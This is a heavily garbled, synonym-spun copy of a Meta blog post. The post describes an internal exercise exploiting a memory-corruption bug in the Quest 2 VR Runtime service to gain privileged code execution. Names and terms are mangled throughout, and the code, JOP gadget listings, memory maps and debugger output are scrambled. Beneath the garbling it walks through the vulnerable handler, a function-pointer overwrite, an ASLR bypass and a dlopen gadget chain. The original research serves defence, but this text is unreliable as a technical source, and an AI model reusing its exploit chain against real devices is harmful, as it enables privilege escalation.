Meta Pursuit 2: Protection via infraction

  • Meta’s Indigenous Guarantee group routinely does hand-operated code assesses as component of our continuous dedication to enhance the safety and security position of Meta’s items.
  • In 2021, we uncovered a susceptability in the Meta Pursuit 2’s Android-based OS that never ever made it to manufacturing yet assisted us locate brand-new means to enhance the safety and security of Meta Pursuit items.
  • We’re sharing our trip to obtain approximate indigenous code implementation in the blessed virtual reality Runtime solution on the Meta Pursuit 2 by manipulating a memory corruption susceptability from an unprivileged application over Runtime IPC.

In 2021, the Indigenous Guarantee group at Meta (component of the Item Safety and security company) carried out a code evaluation on a blessed solution called virtual reality Runtime which supplies virtual reality solutions to customer applications on VROS, the Android Open Resource Task (AOSP)- based OS for the Meta Pursuit product. At the same time they located numerous memory corruption susceptabilities that might be caused by any type of set up application.

This susceptability never ever made it right into manufacturing. To obtain a far better understanding of just how exploitation might take place on VROS we chose to utilize this chance to compose an elevation-of-privilege manipulate that might implement approximate indigenous code in Virtual reality Runtime. Doing so provided us an also far better understanding of what exploitation might appear like on VROS and also provided us workable products we’re making use of to enhance the safety and security position of Meta Pursuit items.

An intro to VROS

VROS is an internal AOSP construct that operates on the Meta Pursuit product up. It has personalizations in addition to AOSP to give the virtual reality experience on Pursuit equipment, consisting of firmware, bit alterations, gadget chauffeurs, system solutions, SELinux plans, and also applications.

As an Android variation, VROS has most of the very same safety and security attributes as various other contemporary Android systems. It makes use of SELinux plans to decrease the strike surface areas subjected to unprivileged code running on the gadget. Modern-day Android ventures usually need chains of ventures versus countless susceptabilities to acquire control over a tool since of these securities. Attackers trying to jeopardize VROS need to get rid of comparable difficulties.

Photo resource:

On VROS, virtual reality applications are basically routine Android applications. These applications interact with a range of system solutions and also equipment to give the Virtual reality experience to customers.

Virtual Reality Runtime

Virtual Reality Runtime is a solution that supplies virtual reality attributes such as time warp and also structure to customer virtual reality applications. The solution is consisted of within the com.oculus.vrruntimeservice procedure as component of the com.oculus.systemdriver ( VrDriver.apk) bundle. The VrDriver bundle is set up to / system/priv-app/ in VROS making com.oculus.vrruntimeservice a blessed solution with SELinux domain name priv_app This offers it permissions past what are offered to typical Android applications.

The virtual reality Runtime solution is improved a customized IPC called Runtime IPC that is created by Meta. Runtime IPC makes use of UNIX pipelines and also ashmem shared memory areas to assist in interaction in between web servers and also customers. An indigenous broker procedure called runtimeipcbroker beings in the center in between web servers and also customers and also handles the preliminary link, after which customers and also web servers interact straight with each other.

virtual reality application/ virtual reality Runtime links

All virtual reality applications utilize Runtime IPC to attach to the virtual reality Runtime web server running in the com.oculus.vrruntimeservice procedure making use of either the VrApi or OpenXR API. The VrApi and also OpenXR user interfaces pack a collection dynamically from VrDriver.apk consisting of the customer side of the virtual reality Runtime application and also utilize this under the hood to do numerous virtual reality procedures sustained by virtual reality Runtime such as time warp.

This procedure can be summed up in a series of actions:

  1. A loader is connected to all virtual reality applications at construct time. This makes it so virtual reality applications can operate on numerous products/versions.
  2. When a virtual reality application begins, the loader makes use of dlopen to pack the collection set up as component of VrDriver.apk The loader will certainly acquire the addresses of features within related to the general public VrApi or OpenXR user interface.
  3. After the loader’s implementation:
    1. The virtual reality application will certainly produce a Runtime IPC link to the virtual reality Runtime web server running within com.oculus.vrruntimeservice
    2. This procedure is moderated by the indigenous runtimeipcbroker procedure, which does consents checks and also various other hand-off duties to ensure that the customer and also web server can interact straight.
    3. From this factor onward the link makes use of UNIX pipelines and also shared memory areas for client/server interaction.

The virtual reality Runtime strike surface area

The default SELinux domain name for the majority of applications on VROS is untrusted_app. These applications consist of those that are set up from the Meta Pursuit Shop along with those that are sideloaded onto the gadget. The untrusted_app domain name is limiting and also indicated to have the minimal SELinux consents that an application ought to require.

Given that untrusted applications can interact with the a lot more blessed virtual reality Runtime web server this presents an altitude of opportunity threat. , if an untrusted application is able to manipulate a susceptability in the Virtual reality Runtime code it will certainly be able to do procedures on the gadget scheduled for blessed applications.. All inputs from untrusted applications to Virtual reality Runtime ought to be inspected greatly since of this.

One of the most vital inputs that virtual reality Runtime procedures from untrusted applications are those that stem from RPC demands and also from read/write shared memory. The code that refines these inputs contains the strike surface area of virtual reality Runtime, as revealed listed below:

Manipulating Virtual Reality Runtime

Prior to diving right into the susceptability and also its exploitation, allow us discuss the exploitation circumstance that we thought about.

Any Individual that has a Meta Pursuit headset has the ability to turn on designer setting, which enables customers to sideload applications and also have adb/ covering gain access to. This does not indicate customers have the ability to obtain origin on their tools, yet it does provide a big quantity of adaptability for communicating with the headset that they would certainly not have or else.

We picked to go after exploitation from the viewpoint of an application that rises its opportunities on the headset. Such an application might be deliberately destructive or be sideloaded by an individual for jailbreaking functions.

The susceptability

The susceptability that we picked for exploitation never ever made it right into a manufacturing launch, yet it was presented in a code dedicate in 2021. The dedicate included handling code for a brand-new kind of message that the virtual reality Runtime might obtain over Runtime IPC. Below is a redacted code fragment of what the susceptability resembled:


. SetPerformanceIdealFeatureState, 
.[=]( const uint32_t clientId,

. const SetPerformanceIdealFeatureStateRequest demand, 
. bool & reaction) {

.// ... 


PerformanceManagerState->> IdealFeaturesState.features _[static_cast<uint32_t>(request.Feature)]

standing _= request.Status; 
. PerformanceManagerState- > IdealFeaturesState.features _[static_cast<uint32_t>(request.Feature)]

. integrity _ =request.Fidelity;

.// ... 
. reaction= real; 
. return mirror:: RPCResult_Complete;



The demand specification is a things that is developed based upon what is obtained over Runtime IPC. This indicates both request.Feature and also request.Status are opponent managed. The PerformanceManagerState->> IdealFeaturesState.features _ variable lives and also is a statically-sized variety in the bss area of the component. PerformanceManagerState->> IdealFeaturesState.features _ is structured as adheres to:

 enum course FeatureFidelity: uint32_t {...};

. enum course FeatureStatus: uint32_t {...};

. struct FeatureState {

. FeatureFidelity integrity _;

. FeatureStatus standing _;


struct FeaturesState {
. sexually transmitted disease:: variety < FeatureState, 31 > attributes _;


Because request.Feature and also request.Status are opponent regulated and also PerformanceManagerState- > IdealFeaturesState.features _ is a statically-sized variety, the susceptability offers an assailant the capability to do approximate 8-byte-long corruptions at approximate offsets( 32-bit restriction). Any kind of virtual reality application can cause this susceptability by sending out a particularly crafted SetPerformanceIdealFeatureState Runtime IPC message. The susceptability is secure and also can be duplicated.

Pirating control-flow

Completion objective for our manipulate was approximate indigenous code implementation. We required to transform this 8-byte compose susceptability right into something valuable for an assailant. The very first step was to locate a corruption target to take control of the program counter.

The good news is for us, virtual reality Runtime is a complicated stateful item of software program and also there are a great deal of fascinating prospective targets inside its bss area. The perfect corruption target for us was a feature reminder that:

  1. Is saved at an approximate countered right after the international variety. Due to the fact that it indicates we can utilize the 8-byte compose primitive to corrupt and also regulate its worth, this is vital.
  2. Has an attacker-reachable telephone call website that invokes it. This is necessary since without a phone call website conjuring up the feature reminder, we can not take control of the control circulation.

To identify the corruption targets that were obtainable from the compose primitive, we made use of Ghidra to by hand assess the design of the(* ). bss area of the binary. We situated where the variety is saved in the area. This area represents the start of the PerformanceManagerState- > IdeaFeatureState.features _ variety that you can see listed below. We after that looked for onward obtainable corruption targets that were consisted of within the(* )

binary. Fortunate for us, we located a range of feature guidelines that are dynamically settled at runtime and also saved within a worldwide circumstances of an ovrVulkanLoader item. The feature guidelines consisted of within ovrVulkanLoader factor right into the component giving the Vulkan user interface. The Vulkan user interface feature reminder telephone calls are invokable indirectly from attacker-controlled inputs over RPC. These 2 residential or commercial properties please both exploitation requirements we discussed previously. With that said in mind, we tried to find a feature reminder that we understood might be conjured up indirectly from an RPC command. We picked to overwrite the vkGetPhysicalDeviceImageFormatProperties

feature reminder, which can be called from a control circulation stemming from the CreateSwapChain Runtime IPC RPC command.(* )Below is a decompilation result of the CreateTextureSwapChainVulkan feature that conjures up the

vkGetPhysicalDeviceImageFormatProperties feature reminder: To pirate control circulation, we initially made use of the compose primitive to corrupt the vkGetPhysicalDeviceImageFormatProperties feature reminder and afterwards crafted an RPC command that caused the

CreateTextureSwapChainVulkan feature. This ultimately enabled us to regulate the program counter: Bypassing Address Area Design Randomization( ASLR ) We transformed this corruption primitive right into something that enabled us to regulate the program counter of the target. Address Area Design Randomization( ASLR )

is a manipulate reduction that makes it challenging for ventures to forecast the address room of the target. As a result of ASLR, we had no expertise of the target address room: We really did not recognize where collections were packed and also really did not recognize where the lot or pile was. Due to the fact that they can reroute the implementation circulation to crammed collections and also recycle some of their code, understanding these areas is incredibly valuable for an assailant. This is a method referred to as(* )jump-oriented shows

( JOP) or return-oriented shows (a details instance of JOP ). Bypassing ASLR is an usual trouble in contemporary exploitation and also the response is normally to: F ind or produce a means to leakage tips regarding the address-space( feature addresses, saved-return addresses, lot guidelines, and so on ).

Discover one more method.

  1. We checked out both of those choices and also ultimately came across something instead fascinating:$ adb covering ps- A . CUSTOMER PID PPID VSZ RSS WCHAN ADDR S NAME . origin 694 1 5367252 128760 poll_schedule_timeout 0 S zygote64 . u0_a5 1898 694 5801656 112280 ptrace_stop 0 t com.oculus.vrruntimeservice .
    u0_a80 7519 694 5383760 104720 do_epoll_wait 0 S com.oculus.vrexploit
    In the above, you can see that our application and also our target have actually been forked off the
  2. zygote64

procedure. The outcome is that our procedure acquires the very same address room from the


procedure as the virtual reality Runtime procedure. This indicates that the crammed collections in the zygote64 procedure at fork time will certainly be packed at the very same addresses in both of those procedures. Due to the fact that it indicates that we do not require to damage ASLR any longer considering that we have actually outlined expertise of where countless collections stay in memory, This is incredibly valuable. Listed below programs an instance where the (* )component is packed at 0x7dae043000

in both procedures:$ adb covering pet cat/ proc/1898/maps|grep . 7dae043000-7dae084000 r– p 00000000 fd:00 286/ apex/com. android.runtime/ lib64/bionic/libc. . 7dae084000-7dae11e000– xp 00040000 fd:00 286/ apex/com. android.runtime/ lib64/bionic/libc. . 7dae11e000-7dae126000 r– p 000d9000 fd:00 286/ apex/com.
android.runtime/ lib64/bionic/libc. . 7dae126000-7dae129000 rw-p 000e0000 fd:00 286/
apex/com. android.runtime/ lib64/bionic/libc. . .$ adb covering pet cat/ proc/7519/maps|grep . 7dae043000-7dae084000 r– p 00000000 fd:00 286/ apex/com.
android.runtime/ lib64/bionic/libc. . 7dae084000-7dae11e000– xp 00040000 fd:00 286/
apex/com. android.runtime/ lib64/bionic/libc. . 7dae11e000-7dae126000 r– p 000d9000 fd:00 286/ apex/com. android.runtime/ lib64/bionic/libc. . 7dae126000-7dae129000 rw-p 000e0000 fd:00 286/ apex/com. android.runtime/ lib64/bionic/libc. (
*) Using utilizing knowledgeUnderstanding we enumerated identified shared libraries collections both address spaces areas as well as for code reuse gadgets
devices them. At this moment there were actually numerous code reuse devices in a data that we required to sort via to construct a JOP chain and also achieve our objective.
… . 0x240b4: ldr x8,; ldr x8, ; blr x8; . 0x23ad0: ldr x8, (* ); ldr x8,

; blr x8; 
. 0x23ab0: ldr x8,

; ldr x8,

; blr x8; 
. 0x24040: ldr x8, (* ); ldr x8,[x0]; blr x8; 
. 0x23100: ldr x8,[x8, #0x40]; ldr x8,[x0]; blr x8; 
0x23ae0: ldr x8, [x8, #0x48]; ldr x8, [x0]; blr x8; 

. 0x22ba8: ldr x8, [x8, #0x50]; ldr x9, 
*); include x8, sp, # 8;
blr x9; 
. 0x231e0: ldr x8, 
*); mov x19, x0; ldr x8, [x0]; blr x8; 

. 0x208fc: ldr x8, [x8, #0x70]; rev x0, 
x8; ret; 
. 0x231f0: ldr x8,(* 
; mov w20, w0; mov x0, x19; ldr x8, 
*); blr x8; 
. 0x22de4: ldr 
x8, [x0]; mov x0, x1; ldr x8, [x8, #8]; blr x8; 

. 0x179e4: ldr x8, [x0], # 0x10
; below x19, x19, # 1; ldr x8, [x8]; blr x8; 

. 0x17ea4: ldr x8, [x0]; mov x0, x21; ldr x8, [x8, #0x30]; blr x8; 

. 0x23b0c: ldr x8, [x0]; mov x0, x21; mov x1, x20; ldr x8, [x8, #0x58]; blr x8; 

. 0x17b38: ldr x8, [x0], # 0x10; mov x0, x21; ldr x8, [x19]; blr x8; 

. 0x17ad8: ldr x8, [x8, #0x60], # 0xfffffffffffffff0; mov x0, x21; ldr x8, [x1]; blr x8; 

. 0x23be0: ldr x8, [x8, #0x70]; mov w23, w0; mov x0, x22; ldr x8, [x20]; blr x8; [x8] We currently had control over the implementation circulation, recognized where a big part of collections packed in the virtual reality Runtime are put in memory, and also had a checklist of code reuse devices. The following action was to really compose the manipulate to implement a haul of our finding in the virtual reality Runtime procedure. [x21] Exploitation[x8, #0x10] As a suggestion, our exploitation circumstance was from the viewpoint of a currently set up untrusted application. Our strategy for exploitation was to obtain the virtual reality Runtime procedure to pack a common collection making use of dlopen from our application APK. When virtual reality Runtime packed the collection, our haul would certainly be implemented immediately as component of the crammed collection's initialization feature.[x21] Completing this indicated we required a JOP chain that carried out the list below series of procedures: [x8, #0x48] Appoint a tip to [x22]$ x0[x8] (the very first feature debate in the ARM64 ABI) indicating a course of a common component we put in our manipulate APK.[x22] Reroute the program counter to[x8] dlopen[x22][x8, #0x60] To construct our JOP chain we filteringed system the checklist of devices based upon the signs up and also memory we managed at the time of hijack. The state at the time of the hijack is highlighted listed below: 

Remember that the

$ x0

register at the time of the control circulation transfer to


  1. represents the course debate. The trouble we currently needed to fix was just how do we lots $ x0 with a tip to a string we regulate? Due to the fact that the only location we were able to put regulated information is the , this is challenging. bss area of the target. We really did not recognize its area in memory, so we could not hardcode its address.

One point that was extremely handy for us is that there took place to be a tip to the

bss area ( ovrVulkanLoader) in the $ x21 register at the time of control circulation hijack. This indicated that theoretically we might merely relocate $ x21 or a worth countered from $ x21

right into $ x0 This would certainly offer us our regulated course debate to dlopen, fixing our trouble. After hrs of looking via devices, we ultimately located one that did specifically what we required as well as likewise enabled us to maintain control circulation: ldr x2, .
mov w1, # 0x1000 .
mov x0, x21 . blr x2 .
We might after that utilize one more device to establish$ x1 (the 2nd feature debate in the ARM64 ABI) to a rational worth and also conjure up dlopen: mov w1, # 0x2 <. bl < EXTERNAL >:: dlopen undefined dlopen() The good news is, the compose susceptability we made use of in the manipulate was likewise repeatable. This indicated that we might overwrite numerous areas in memory countered from

$ x21

 ([x21 , #0x80 ] ovrVulkanLoader

). We wound up making use of numerous RPC regulates to overwrite memory in the method we required for establishing our device state and also just after that activating the control circulation hijack. Utilizing this strategy, we established the device state to incorporate both devices over and also had the ability to pack our common component providing us approximate indigenous code implementation: // Corrupt the ‘vulkanLoader.vkGetPhysicalDeviceImageFormatProperties’ reminder which is .// at +0 x68. We pirate control circulation by activating a feature hire .// ovrSwapChain:: CreateTextureSwapChainVulkan. .// Very first device in .// 0010b3ac a2 42 40 f9 ldr x2, .// 0010b3b0 e1 03 14 32 mov w1, # 0x1000 .// 0010b3b4 e0 03 15 aa mov x0, x21 .// 0010b3b8 40 00 3f d6 blr x2 . const uint64_t vkGetPhysicalDeviceImageFormatPropertiesOffset =VulkanLoaderOffset + 0x68; . const uint64_t FirstGadget””)+ 0xb3′ air conditioning; . Corruptions.emplace _ back( vkGetPhysicalDeviceImageFormatPropertiesOffset, FirstGadget); . . .
// 2nd device in .// 0010bc78 41 00 80 52 mov w1, # 0x2 .// 0010bc7c advertisement 0d 00 94 bl << EXTERNAL>>:: dlopen undefined dlopen() . const uint64_t SecondGadget =“/ system/lib64/libcutils. “) + 0xbc’ 78; . Corruptions.emplace _ back( VulkanLoaderOffset + 0x80, SecondGadget);
And Also listed below is what it resembled from GDB (

 GNU Debugger

): ( gdb) break * 0x7c98012c78 . Breakpoint 1 at 0x7c98012c78 .
( gdb) c .
Proceeding. . String 41″ Thread-15 “struck Breakpoint 1, 0x0000007c98012c78 in?? () .
( gdb) x/s $ x0 . 0x7bb11633e8: “/ data/app/com. oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/ lib/arm64/libinject-arm 64. “ .
( gdb) c .
Proceeding. . caution: Might not pack common collection icons for/ data/app/com. oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/ lib/arm64/libinject-arm 64. .
Then, we achieved our objective and also had the ability to implement approximate indigenous code in the virtual reality Runtime procedure. What we discovered We attempted to acquire as much worth out of the workout as feasible with a concentrate on workable products we might utilize to enhance the safety and security position of Meta items. We will not detail all the results in this article yet below are several of one of the most significant.

RELRO for feature guidelines in RW international memory

 Among the patterns we saw early in the workout was that the virtual reality Runtime solution consisted of lots of feature guidelines in international memory. The virtual reality Runtime procedure tons these feature guidelines early in its initialization by very first calling dlopen on particular system set up collections and afterwards making use of dlsym to appoint a provided feature reminder with its linked address. [x21 , #0x80 ] This strategy supplies adaptability to programmers to utilize supplier collections giving an usual API throughout items (e.g., The drawback is that the feature guidelines are saved in writable and also understandable memory, making them prime targets for memory corruption-based overwrites. In virtual reality Runtime’s instance, they were saved in international understandable writable memory that took place to be obtainable from our out-of-bounds compose exploitation primitive. In addition, these feature guidelines are not secured by compiler reductions such as control circulation stability. As a result of our exploitation workout, we checked out various techniques to secure these feature guidelines after their preliminary project. One approach was to attempt and also mirror the popular complete moving read-only (RELRO) reduction that is made use of to secure guidelines to features in various other collections calculated by the vibrant linker at lots time. Completely RELRO, the mappings consisting of these guidelines are made read-only after they are booted up, which stops destructive composes from overwriting their materials.

 We made numerous modifications to the virtual reality Runtime code to mark feature guidelines in international memory to be checked out just after we initialized them. Had this defense remained in location it would certainly have made our exploitation a lot more challenging. We are currently dealing with generalising this strategy by constructing an LLVM compiler pass that applies the method.

Ideas on SELinux

Among one of the most discouraging points for us throughout manipulate advancement was the restrictions troubled us by SELinux. With that said stated, we were happily stunned that we might pack a

collection out of an untrusted application’s information directory site as a blessed application. This is since Android’s default SELinux plan makes it possible for blessed applications (usually set up to

platform_app, system_app

, or


) to implement code under

/ data/app, which is where untrusted applications are generally set up. Due to the fact that it enables for updates to blessed applications outdoors of OTA updates, Android sustains this habits. This enables blessed applications authorized with the very same certification as the initial to be upgraded in a much more light-weight fashion. An upgraded blessed application is set up to / data/app, yet preserves its blessed SELinux context. While we did not establish a service to this concern, we feel it deserves calling out as a possible location for enhancement on Android. As a whole, we do not think that blessed applications ought to have the ability to implement code possessed by minimal blessed applications. Concerning Meta’s Indigenous Guarantee group The Meta Indigenous Guarantee group that did this manipulate workout becomes part of a bigger item safety and security team that does aggressive safety and security service Meta’s items. Some instances of this job consist of fuzzing, fixed evaluation, architecture/implementation evaluations, strike surface area decrease, manipulate reductions, and also a lot more. Additionally, Meta likewise provides a pest bounty program

to incentivize safety and security study throughout its whole exterior strike surface area, consisting of the virtual reality and also AR items.